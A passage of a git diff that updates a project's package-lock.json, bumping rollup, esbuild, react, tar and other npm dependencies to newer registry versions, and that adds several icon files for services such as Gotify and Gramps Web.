"sha512-/MOEW3aHjjs1p4Pw1Xk4+3egRevx8Ji9N6HUIA1Ifh8Q+cg9dremvFCUbOX2Zebz80BwJIgCBUemjqhU5XI5Eg==", "cpu": [ "riscv64" ], @@ -786,9 +786,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.46.2.tgz", - "integrity": "sha512-t5B2loThlFEauloaQkZg9gxV05BYeITLvLkWOkRXogP4qHXLkWSbSHKM9S6H1schf/0YGP/qNKtiISlxvfmmZw==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.52.4.tgz", + "integrity": "sha512-1HHmsRyh845QDpEWzOFtMCph5Ts+9+yllCrREuBR/vg2RogAQGGBRC8lDPrPOMnrdOJ+mt1WLMOC2Kao/UwcvA==", "cpu": [ "riscv64" ], @@ -800,9 +800,9 @@ ] }, "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.46.2.tgz", - "integrity": "sha512-YKjekwTEKgbB7n17gmODSmJVUIvj8CX7q5442/CK80L8nqOUbMtf8b01QkG3jOqyr1rotrAnW6B/qiHwfcuWQA==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.52.4.tgz", + "integrity": "sha512-seoeZp4L/6D1MUyjWkOMRU6/iLmCU2EjbMTyAG4oIOs1/I82Y5lTeaxW0KBfkUdHAWN7j25bpkt0rjnOgAcQcA==", "cpu": [ "s390x" ], @@ -814,9 +814,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.46.2.tgz", - "integrity": "sha512-Jj5a9RUoe5ra+MEyERkDKLwTXVu6s3aACP51nkfnK9wJTraCC8IMe3snOfALkrjTYd2G1ViE1hICj0fZ7ALBPA==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.52.4.tgz", + "integrity": "sha512-Wi6AXf0k0L7E2gteNsNHUs7UMwCIhsCTs6+tqQ5GPwVRWMaflqGec4Sd8n6+FNFDw9vGcReqk2KzBDhCa1DLYg==", "cpu": [ "x64" ], @@ -828,9 +828,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.46.2.tgz", - "integrity": "sha512-7kX69DIrBeD7yNp4A5b81izs8BqoZkCIaxQaOpumcJ1S/kmqNFjPhDu1LHeVXv0SexfHQv5cqHsxLOjETuqDuA==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.52.4.tgz", + "integrity": "sha512-dtBZYjDmCQ9hW+WgEkaffvRRCKm767wWhxsFW3Lw86VXz/uJRuD438/XvbZT//B96Vs8oTA8Q4A0AfHbrxP9zw==", "cpu": [ "x64" ], @@ -841,10 +841,24 @@ "linux" ] }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.52.4.tgz", + "integrity": "sha512-1ox+GqgRWqaB1RnyZXL8PD6E5f7YyRUJYnCqKpNzxzP0TkaUh112NDrR9Tt+C8rJ4x5G9Mk8PQR3o7Ku2RKqKA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.46.2.tgz", - "integrity": "sha512-wiJWMIpeaak/jsbaq2HMh/rzZxHVW1rU6coyeNNpMwk5isiPjSTx0a4YLSlYDwBH/WBvLz+EtsNqQScZTLJy3g==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.52.4.tgz", + "integrity": "sha512-8GKr640PdFNXwzIE0IrkMWUNUomILLkfeHjXBi/nUvFlpZP+FA8BKGKpacjW6OUUHaNI6sUURxR2U2g78FOHWQ==", "cpu": [ "arm64" ], @@ -856,9 +870,9 @@ ] }, "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.46.2.tgz", - "integrity": "sha512-gBgaUDESVzMgWZhcyjfs9QFK16D8K6QZpwAaVNJxYDLHWayOta4ZMjGm/vsAEy3hvlS2GosVFlBlP9/Wb85DqQ==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.52.4.tgz", + "integrity": "sha512-AIy/jdJ7WtJ/F6EcfOb2GjR9UweO0n43jNObQMb6oGxkYTfLcnN7vYYpG+CN3lLxrQkzWnMOoNSHTW54pgbVxw==", "cpu": [ "ia32" ], @@ -869,10 +883,24 @@ "win32" ] }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.52.4.tgz", + "integrity": "sha512-UF9KfsH9yEam0UjTwAgdK0anlQ7c8/pWPU2yVjyWcF1I1thABt6WXE47cI71pGiZ8wGvxohBoLnxM04L/wj8mQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.46.2.tgz", - "integrity": "sha512-CvUo2ixeIQGtF6WvuB87XWqPQkoFAFqW+HUo/WzHwuHDvIwZCtjdWXoYCcr06iKGydiqTclC4jU/TNObC/xKZg==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.52.4.tgz", + "integrity": "sha512-bf9PtUa0u8IXDVxzRToFQKsNCRz9qLYfR/MpECxl4mRoWYjAeFjgxj1XdZr2M/GNVpT05p+LgQOHopYDlUu6/w==", "cpu": [ "x64" ], @@ -888,8 +916,7 @@ "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz", "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==", "dev": true, - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/@tailwindcss/forms": { "version": "0.5.10", @@ -1131,66 +1158,6 @@ "node": ">=14.0.0" } }, - "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/core": { - "version": "1.4.3", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "@emnapi/wasi-threads": "1.0.2", - "tslib": "^2.4.0" - } - }, - "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/runtime": { - "version": "1.4.3", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "tslib": "^2.4.0" - } - }, - "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/wasi-threads": { - "version": "1.0.2", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "tslib": "^2.4.0" - } - }, - "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@napi-rs/wasm-runtime": { - "version": "0.2.10", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "@emnapi/core": "^1.4.3", - "@emnapi/runtime": "^1.4.3", - "@tybys/wasm-util": "^0.9.0" - } - }, - "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@tybys/wasm-util": { - "version": "0.9.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "tslib": "^2.4.0" - } - }, - "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/tslib": { - "version": "2.8.0", - "dev": true, - "inBundle": true, - "license": "0BSD", - "optional": true - }, "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { "version": "4.1.10", "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.1.10.tgz", @@ -1404,7 +1371,8 @@ "version": "5.5.0", "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz", "integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==", - "license": "MIT" + "license": "MIT", + "peer": true }, "node_modules/asynckit": { "version": "0.4.0", @@ -1501,9 +1469,9 @@ "license": "MIT" }, "node_modules/debug": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz", - "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==", + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", "license": "MIT", "dependencies": { "ms": "^2.1.3" @@ -1537,9 +1505,9 @@ } }, "node_modules/detect-libc": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.4.tgz", - "integrity": "sha512-3UDv+G9CsCKO1WKMGw9fwq/SWJYbI0c5Y7LU1AXYoDdbhE2AHQ6N6Nb34sG8Fj7T5APy8qXDCKuuIHd1BR0tVA==", + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", "dev": true, "license": "Apache-2.0", "engines": { @@ -1567,7 +1535,6 @@ "integrity": "sha512-T0iLjnyNWahNyv/lcjS2y4oE358tVS/SYQNxYXGAJ9/GLgH4VCvOQ/mhTjqU88mLZCQgiG8RIegFHYCdVC+j5w==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@socket.io/component-emitter": "~3.1.0", "debug": "~4.3.1", @@ -1582,7 +1549,6 @@ "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "ms": "^2.1.3" }, @@ -1601,15 +1567,14 @@ "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=10.0.0" } }, "node_modules/enhanced-resolve": { - "version": "5.18.2", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.2.tgz", - "integrity": "sha512-6Jw4sE1maoRJo3q8MsSIn2onJFbLTOjY9hlx4DZXmOKvLRd1Ok2kXmAGXaafL2+ijsJZ1ClYbl/pmqr9+k4iUQ==", + "version": "5.18.3", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.3.tgz", + "integrity": "sha512-d4lC8xfavMeBjzGr2vECC3fsGXziXZQyJxD868h2M/mBI3PwAuODxAkLkq5HYuvrPYcUtiLzsTo8U3PgX3Ocww==", "dev": true, "license": "MIT", "dependencies": { @@ -1683,9 +1648,9 @@ } }, "node_modules/esbuild": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.8.tgz", - "integrity": "sha512-vVC0USHGtMi8+R4Kz8rt6JhEWLxsv9Rnu/lGYbPR8u47B+DCBksq9JarW0zOO7bs37hyOK1l2/oqtbciutL5+Q==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.11.tgz", + "integrity": "sha512-KohQwyzrKTQmhXDW1PjCv3Tyspn9n5GcY2RTDqeORIdIJY8yKIF7sTSopFmn/wpMPW4rdPXI0UE5LJLuq3bx0Q==", "dev": true, "hasInstallScript": true, "license": "MIT", @@ -1696,32 +1661,32 @@ "node": ">=18" }, "optionalDependencies": { - "@esbuild/aix-ppc64": "0.25.8", - "@esbuild/android-arm": "0.25.8", - "@esbuild/android-arm64": "0.25.8", - "@esbuild/android-x64": "0.25.8", - "@esbuild/darwin-arm64": "0.25.8", - "@esbuild/darwin-x64": "0.25.8", - "@esbuild/freebsd-arm64": "0.25.8", - "@esbuild/freebsd-x64": "0.25.8", - "@esbuild/linux-arm": "0.25.8", - "@esbuild/linux-arm64": "0.25.8", - "@esbuild/linux-ia32": "0.25.8", - "@esbuild/linux-loong64": "0.25.8", - "@esbuild/linux-mips64el": "0.25.8", - "@esbuild/linux-ppc64": "0.25.8", - "@esbuild/linux-riscv64": "0.25.8", - "@esbuild/linux-s390x": "0.25.8", - "@esbuild/linux-x64": "0.25.8", - "@esbuild/netbsd-arm64": "0.25.8", - "@esbuild/netbsd-x64": "0.25.8", - "@esbuild/openbsd-arm64": "0.25.8", - "@esbuild/openbsd-x64": "0.25.8", - "@esbuild/openharmony-arm64": "0.25.8", - "@esbuild/sunos-x64": "0.25.8", - "@esbuild/win32-arm64": "0.25.8", - "@esbuild/win32-ia32": "0.25.8", - "@esbuild/win32-x64": "0.25.8" + "@esbuild/aix-ppc64": "0.25.11", + "@esbuild/android-arm": "0.25.11", + "@esbuild/android-arm64": "0.25.11", + "@esbuild/android-x64": "0.25.11", + "@esbuild/darwin-arm64": "0.25.11", + "@esbuild/darwin-x64": "0.25.11", + "@esbuild/freebsd-arm64": "0.25.11", + "@esbuild/freebsd-x64": "0.25.11", + "@esbuild/linux-arm": "0.25.11", + "@esbuild/linux-arm64": "0.25.11", + "@esbuild/linux-ia32": "0.25.11", + "@esbuild/linux-loong64": "0.25.11", + "@esbuild/linux-mips64el": "0.25.11", + "@esbuild/linux-ppc64": "0.25.11", + "@esbuild/linux-riscv64": "0.25.11", + "@esbuild/linux-s390x": "0.25.11", + "@esbuild/linux-x64": "0.25.11", + "@esbuild/netbsd-arm64": "0.25.11", + "@esbuild/netbsd-x64": "0.25.11", + "@esbuild/openbsd-arm64": "0.25.11", + "@esbuild/openbsd-x64": "0.25.11", + "@esbuild/openharmony-arm64": "0.25.11", + "@esbuild/sunos-x64": "0.25.11", + "@esbuild/win32-arm64": "0.25.11", + "@esbuild/win32-ia32": "0.25.11", + "@esbuild/win32-x64": "0.25.11" } }, "node_modules/estree-walker": { @@ -1732,11 +1697,14 @@ "license": "MIT" }, "node_modules/fdir": { - "version": "6.4.6", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.4.6.tgz", - "integrity": "sha512-hiFoqpyZcfNm1yc4u8oWCf9A2c4D3QjCrks3zmoVKVxpQRzmPNar1hUJcBG2RQHvEVGDN+Jm81ZheVLAQMK6+w==", + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", "dev": true, "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, "peerDependencies": { "picomatch": "^3 || ^4" }, @@ -1935,9 +1903,9 @@ } }, "node_modules/jiti": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.5.1.tgz", - "integrity": "sha512-twQoecYPiVA5K/h6SxtORw/Bs3ar+mLUtoPSc7iMXzQzK8d7eJ/R09wmTwAjiamETn1cXYPGfNnu7DMoHgu12w==", + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.6.1.tgz", + "integrity": "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==", "dev": true, "license": "MIT", "bin": { @@ -2248,13 +2216,13 @@ "license": "MIT" }, "node_modules/magic-string": { - "version": "0.30.17", - "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.17.tgz", - "integrity": "sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==", + "version": "0.30.19", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.19.tgz", + "integrity": "sha512-2N21sPY9Ws53PZvsEpVtNuSW+ScYbQdp4b9qUaL+9QkHUrGFKo56Lg9Emg5s9V/qrtNBmiR01sYhUOwu3H+VOw==", "dev": true, "license": "MIT", "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.0" + "@jridgewell/sourcemap-codec": "^1.5.5" } }, "node_modules/math-intrinsics": { @@ -2310,9 +2278,9 @@ } }, "node_modules/minizlib": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-3.0.2.tgz", - "integrity": "sha512-oG62iEk+CYt5Xj2YqI5Xi9xWUeZhDI8jjQmC5oThVH5JGCTgIjr7ciJDzC7MBzYd//WvR1OTmP5Q38Q8ShQtVA==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-3.1.0.tgz", + "integrity": "sha512-KZxYo1BUkWD2TVFLr0MQoM8vUUigWD3LlD83a/75BqC+4qE0Hb1Vo5v1FgcfaNXvfXzr+5EhQ6ing/CaBijTlw==", "dev": true, "license": "MIT", "dependencies": { @@ -2322,22 +2290,6 @@ "node": ">= 18" } }, - "node_modules/mkdirp": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-3.0.1.tgz", - "integrity": "sha512-+NsyUUAZDmo6YVHzL/stxSu3t9YS1iljliy3BSDrXJ/dkn1KYdmtZODGGjLcc9XLgVVpH4KshHB8XmZgMhaBXg==", - "dev": true, - "license": "MIT", - "bin": { - "mkdirp": "dist/cjs/src/bin.js" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, "node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", @@ -2376,6 +2328,7 @@ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">=12" }, @@ -2452,14 +2405,15 @@ "integrity": "sha512-wp3HqIIUc1GRyu1XrP6m2dgyE9MoCsXVsWNlohj0rjSkLf+a0jLvEyVubdg58oMk7bhjBWnFClgp8jfAa6Ak4Q==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "tweetnacl": "^1.0.3" } }, "node_modules/react": { - "version": "19.1.1", - "resolved": "https://registry.npmjs.org/react/-/react-19.1.1.tgz", - "integrity": "sha512-w8nqGImo45dmMIfljjMwOGtbmC/mk4CMYhWIicdSflH91J9TyCyczcPFXJzrZ/ZXcgGRFeP6BU0BEJTw6tZdfQ==", + "version": "19.2.0", + "resolved": "https://registry.npmjs.org/react/-/react-19.2.0.tgz", + "integrity": "sha512-tmbWg6W31tQLeB5cdIBOicJDJRR2KzXsV7uSK9iNfLWQ5bIZfxuPEHp7M8wiHyHnn0DD1i7w3Zmin0FtkrwoCQ==", "dev": true, "license": "MIT", "peer": true, @@ -2489,9 +2443,9 @@ } }, "node_modules/rollup": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.46.2.tgz", - "integrity": "sha512-WMmLFI+Boh6xbop+OAGo9cQ3OgX9MIg7xOQjn+pTCwOkk+FNDAeAemXkJ3HzDJrVXleLOFVa1ipuc1AmEx1Dwg==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.52.4.tgz", + "integrity": "sha512-CLEVl+MnPAiKh5pl4dEWSyMTpuflgNQiLGhMv8ezD5W/qP8AKvmYpCOKRRNOh7oRKnauBZ4SyeYkMS+1VSyKwQ==", "dev": true, "license": "MIT", "dependencies": { @@ -2505,26 +2459,28 @@ "npm": ">=8.0.0" }, "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.46.2", - "@rollup/rollup-android-arm64": "4.46.2", - "@rollup/rollup-darwin-arm64": "4.46.2", - "@rollup/rollup-darwin-x64": "4.46.2", - "@rollup/rollup-freebsd-arm64": "4.46.2", - "@rollup/rollup-freebsd-x64": "4.46.2", - "@rollup/rollup-linux-arm-gnueabihf": "4.46.2", - "@rollup/rollup-linux-arm-musleabihf": "4.46.2", - "@rollup/rollup-linux-arm64-gnu": "4.46.2", - "@rollup/rollup-linux-arm64-musl": "4.46.2", - "@rollup/rollup-linux-loongarch64-gnu": "4.46.2", - "@rollup/rollup-linux-ppc64-gnu": "4.46.2", - "@rollup/rollup-linux-riscv64-gnu": "4.46.2", - "@rollup/rollup-linux-riscv64-musl": "4.46.2", - "@rollup/rollup-linux-s390x-gnu": "4.46.2", - "@rollup/rollup-linux-x64-gnu": "4.46.2", - "@rollup/rollup-linux-x64-musl": "4.46.2", - "@rollup/rollup-win32-arm64-msvc": "4.46.2", - "@rollup/rollup-win32-ia32-msvc": "4.46.2", - "@rollup/rollup-win32-x64-msvc": "4.46.2", + "@rollup/rollup-android-arm-eabi": "4.52.4", + "@rollup/rollup-android-arm64": "4.52.4", + "@rollup/rollup-darwin-arm64": "4.52.4", + "@rollup/rollup-darwin-x64": "4.52.4", + "@rollup/rollup-freebsd-arm64": "4.52.4", + "@rollup/rollup-freebsd-x64": "4.52.4", + "@rollup/rollup-linux-arm-gnueabihf": "4.52.4", + "@rollup/rollup-linux-arm-musleabihf": "4.52.4", + "@rollup/rollup-linux-arm64-gnu": "4.52.4", + "@rollup/rollup-linux-arm64-musl": "4.52.4", + "@rollup/rollup-linux-loong64-gnu": "4.52.4", + "@rollup/rollup-linux-ppc64-gnu": "4.52.4", + "@rollup/rollup-linux-riscv64-gnu": "4.52.4", + "@rollup/rollup-linux-riscv64-musl": "4.52.4", + "@rollup/rollup-linux-s390x-gnu": "4.52.4", + "@rollup/rollup-linux-x64-gnu": "4.52.4", + "@rollup/rollup-linux-x64-musl": "4.52.4", + "@rollup/rollup-openharmony-arm64": "4.52.4", + "@rollup/rollup-win32-arm64-msvc": "4.52.4", + "@rollup/rollup-win32-ia32-msvc": "4.52.4", + "@rollup/rollup-win32-x64-gnu": "4.52.4", + "@rollup/rollup-win32-x64-msvc": "4.52.4", "fsevents": "~2.3.2" } }, @@ -2534,7 +2490,6 @@ "integrity": "sha512-hJVXfu3E28NmzGk8o1sHhN3om52tRvwYeidbj7xKy2eIIse5IoKX3USlS6Tqt3BHAtflLIkCQBkzVrEEfWUyYQ==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@socket.io/component-emitter": "~3.1.0", "debug": "~4.3.2", @@ -2551,7 +2506,6 @@ "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "ms": "^2.1.3" }, @@ -2570,7 +2524,6 @@ "integrity": "sha512-/GbIKmo8ioc+NIWIhwdecY0ge+qVBSMdgxGygevmdHj24bsfgtCmcUUcQ5ZzcylGFHsN3k4HB4Cgkl96KVnuew==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@socket.io/component-emitter": "~3.1.0", "debug": "~4.3.1" @@ -2585,7 +2538,6 @@ "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "ms": "^2.1.3" }, @@ -2634,30 +2586,34 @@ "version": "4.1.10", "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.1.10.tgz", "integrity": "sha512-P3nr6WkvKV/ONsTzj6Gb57sWPMX29EPNPopo7+FcpkQaNsrNpZ1pv8QmrYI2RqEKD7mlGqLnGovlcYnBK0IqUA==", - "license": "MIT" + "license": "MIT", + "peer": true }, "node_modules/tapable": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.2.tgz", - "integrity": "sha512-Re10+NauLTMCudc7T5WLFLAwDhQ0JWdrMK+9B2M8zR5hRExKmsRDCBA7/aV/pNJFltmBFO5BAMlQFi/vq3nKOg==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.0.tgz", + "integrity": "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==", "dev": true, "license": "MIT", "engines": { "node": ">=6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" } }, "node_modules/tar": { - "version": "7.4.3", - "resolved": "https://registry.npmjs.org/tar/-/tar-7.4.3.tgz", - "integrity": "sha512-5S7Va8hKfV7W5U6g3aYxXmlPoZVAwUMy9AOKyF2fVuZa2UD3qZjg578OrLRt8PcNN1PleVaL/5/yYATNL0ICUw==", + "version": "7.5.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.1.tgz", + "integrity": "sha512-nlGpxf+hv0v7GkWBK2V9spgactGOp0qvfWRxUMjqHyzrt3SgwE48DIv/FhqPHJYLHpgW1opq3nERbz5Anq7n1g==", "dev": true, "license": "ISC", "dependencies": { "@isaacs/fs-minipass": "^4.0.0", "chownr": "^3.0.0", "minipass": "^7.1.2", - "minizlib": "^3.0.1", - "mkdirp": "^3.0.1", + "minizlib": "^3.1.0", "yallist": "^5.0.0" }, "engines": { @@ -2665,14 +2621,14 @@ } }, "node_modules/tinyglobby": { - "version": "0.2.14", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.14.tgz", - "integrity": "sha512-tX5e7OM1HnYr2+a2C/4V0htOcSQcoSTH9KgJnVvNm5zm/cyEWKJ7j7YutsH9CxMdtOkkLFy2AHrMci9IM8IPZQ==", + "version": "0.2.15", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", + "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", "dev": true, "license": "MIT", "dependencies": { - "fdir": "^6.4.4", - "picomatch": "^4.0.2" + "fdir": "^6.5.0", + "picomatch": "^4.0.3" }, "engines": { "node": ">=12.0.0" @@ -2700,6 +2656,7 @@ "integrity": "sha512-0msEVHJEScQbhkbVTb/4iHZdJ6SXp/AvxL2sjwYQFfBqleHtnCqv1J3sa9zbWz/6kW1m9Tfzn92vW+kZ1WV6QA==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", @@ -2799,6 +2756,7 @@ "integrity": "sha512-rjOV2ecxMd5SiAmof2xzh2WxntRcigkX/He4YFJ6WdRvVUrbt6DxC1Iujh10XLl8xCDRDtGKMeO3D+pRQ1PP9w==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@vue/compiler-dom": "3.5.16", "@vue/compiler-sfc": "3.5.16", @@ -2821,7 +2779,6 @@ "integrity": "sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=10.0.0" }, @@ -2843,7 +2800,6 @@ "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz", "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==", "dev": true, - "peer": true, "engines": { "node": ">=0.4.0" } diff --git a/public/svgs/cap.svg b/public/svgs/cap.svg new file mode 100644 index 000000000..83d26e15d --- /dev/null +++ b/public/svgs/cap.svg @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/svgs/gotify.png b/public/svgs/gotify.png new file mode 100644 index 000000000..5fe38d60a Binary files /dev/null and b/public/svgs/gotify.png differ diff --git a/public/svgs/gramps-web.svg b/public/svgs/gramps-web.svg new file mode 100644 index 000000000..eeef33047 --- /dev/null +++ b/public/svgs/gramps-web.svg @@ -0,0 +1,154 @@ + 